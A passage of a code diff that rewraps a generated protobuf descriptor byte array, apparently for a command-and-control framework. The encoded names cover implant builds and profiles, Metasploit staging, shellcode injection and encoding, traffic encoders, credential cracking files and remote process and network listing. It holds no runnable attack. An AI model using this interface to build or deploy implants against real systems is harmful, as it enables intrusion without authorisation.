0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, - 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, - 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, - 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, + 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, + 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, + 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, + 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, + 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, - 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, - 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, - 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, - 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, - 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, - 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, - 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, + 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, + 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, + 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, + 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, + 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, + 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, + 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, - 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, - 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, - 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, - 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, - 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, - 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 